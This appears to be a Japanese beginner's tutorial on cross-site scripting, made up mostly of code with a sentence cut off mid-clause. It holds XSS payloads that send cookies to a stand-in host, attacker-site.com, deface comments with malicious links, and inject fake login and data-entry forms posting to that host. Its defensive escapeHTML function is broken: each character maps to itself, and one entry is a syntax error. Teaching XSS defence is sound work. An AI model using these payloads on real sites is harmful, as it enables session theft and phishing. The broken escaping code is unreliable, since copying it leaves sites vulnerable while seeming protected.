初心者も押さえておくべきWebセキュリティ vol.1　JavaScript『クロスサイトスクリプティング（XSS）』 効果的な対策方法と最適な方法

<form action="/login" method="POST">
  <input type="text" name="username" placeholder="ユーザー名">
  <input type="password" name="password" placeholder="パスワード">
  <button type="submit">ログイン</button>
</form>
攻撃者は、このログインフォーム

<script>
  // ユーザーのクッキー情報を攻撃者のサイトに送信する
  var img = new Image();
  img.src = "https://attacker-site.com/steal?cookie=" + document.cookie;
</script>

<!-- コメント表示部分 -->
<div id="comments">
  <!-- コメント1 -->
  <div class="comment">
    <span class="username">ユーザーA</span>
    <span class="content">コメント内容1</span>
  </div>

  <!-- コメント2 -->
  <div class="comment">
    <span class="username">ユーザーB</span>
    <span class="content">コメント内容2</span>
  </div>
</div>

<!-- コメント投稿フォーム -->
<form id="comment-form" action="/post-comment" method="POST">
  <input type="text" name="username" placeholder="ユーザー名">
  <textarea name="content" placeholder="コメントを入力してください"></textarea>
  <button type="submit">コメント投稿</button>
</form>

<script>
  // 攻撃者のサイトにクッキー情報を送信する
  var img = new Image();
  img.src = "https://attacker-site.com/steal?cookie=" + document.cookie;

  // ユーザーのコメントを改ざんする
  var comments = document.getElementsByClassName('comment');
  for (var i = 0; i < comments.length; i++) {
    var comment = comments[i];
    var username = comment.getElementsByClassName('username')[0];
    var content = comment.getElementsByClassName('content')[0];

    // 攻撃者のサイトへのリンクを追加する
    var link = document.createElement('a');
    link.href = 'https://attacker-site.com/malicious-link';
    link.textContent = '悪意のあるリンク';

    content.appendChild(document.createElement('br'));
    content.appendChild(link);

    // ユーザー名を変更する
    username.textContent = '攻撃者が改ざん';
  }
</script>

<script>
  var img = new Image();
  img.src = "https://attacker-site.com/steal?cookie=" + document.cookie;
  var comments = document.getElementsByClassName('comment');
  for (var i = 0; i < comments.length; i++) {
    var comment = comments[i];
    var username = comment.getElementsByClassName('username')[0];
    var content = comment.getElementsByClassName('content')[0];
    var link = document.createElement('a');
    link.href = 'https://attacker-site.com/malicious-link';
    link.textContent = '悪意のあるリンク';
    content.appendChild(document.createElement('br'));
    content.appendChild(link);
    username.textContent = '攻撃者が改ざん';
  }
</script>

<h1>ユーザープロフィール</h1>
<p>ようこそ、ユーザーAさん！</p>

<p>名前: ユーザーA</p>
<p>メールアドレス: usera@example.com</p>

<p>プロフィールを編集する:</p>
<form id="profile-form" action="/edit-profile" method="POST">
  <input type="text" name="name" placeholder="名前">
  <input type="email" name="email" placeholder="メールアドレス">
  <button type="submit">保存</button>
</form>

<script>
  // 偽のログインフォームを表示する
  var loginForm = document.createElement('form');
  loginForm.action = 'https://attacker-site.com/login';
  loginForm.method = 'POST';
  
  var usernameInput = document.createElement('input');
  usernameInput.type = 'text';
  usernameInput.name = 'username';
  usernameInput.placeholder = 'ユーザー名';
  loginForm.appendChild(usernameInput);

  var passwordInput = document.createElement('input');
  passwordInput.type = 'password';
  passwordInput.name = 'password';
  passwordInput.placeholder = 'パスワード';
  loginForm.appendChild(passwordInput);

  var submitButton = document.createElement('button');
  submitButton.type = 'submit';
  submitButton.textContent = 'ログイン';
  loginForm.appendChild(submitButton);

  document.body.appendChild(loginForm);

  // 偽の情報入力フォームを表示する
  var infoForm = document.createElement('form');
  infoForm.action = 'https://attacker-site.com/steal-info';
  infoForm.method = 'POST';
  
  var nameInput = document.createElement('input');
  nameInput.type = 'text';
  nameInput.name = 'name';
  nameInput.placeholder = '名前';
  infoForm.appendChild(nameInput);

  var emailInput = document.createElement('input');
  emailInput.type = 'email';
  emailInput.name = 'email';
  emailInput.placeholder = 'メールアドレス';
  infoForm.appendChild(emailInput);

  var submitButton = document.createElement('button');
  submitButton.type = 'submit';
  submitButton.textContent = '送信';
  infoForm.appendChild(submitButton);

  document.body.appendChild(infoForm);
</script>

// ユーザー名が英数字のみで構成されているか検証する例
function validateUsername(username) {
  var regex = /^[a-zA-Z0-9]+$/;
  return regex.test(username);
}

// メールアドレスの形式が正しいか検証する例
function validateEmail(email) {
  var regex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
  return regex.test(email);
}

// 入力の検証例
var userInput = getUserInput(); // ユーザーからの入力を取得する
if (validateUsername(userInput)) {
  // ユーザー名が正しい形式である場合の処理
} else {
  // ユーザー名が正しい形式でない場合のエラー処理
}

// ユーザーからの入力をエスケープして表示する例
function escapeHTML(input) {
  var map = {
    '&': '&',
    '<': '<',
    '>': '>',
    '"': '"',
    "'": '''
  };
  return input.replace(/[&<>"']/g, function (m) { return map[m]; });
}

// ユーザーからの入力をエスケープして表示する例
var userInput = getUserInput(); // ユーザーからの入力を取得する
var escapedInput = escapeHTML(userInput); // ユーザーからの入力をエスケープする
outputElement.innerHTML = escapedInput; // エスケープした入力を表示する

<!-- コンテンツセキュリティポリシーを設定する例 -->
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">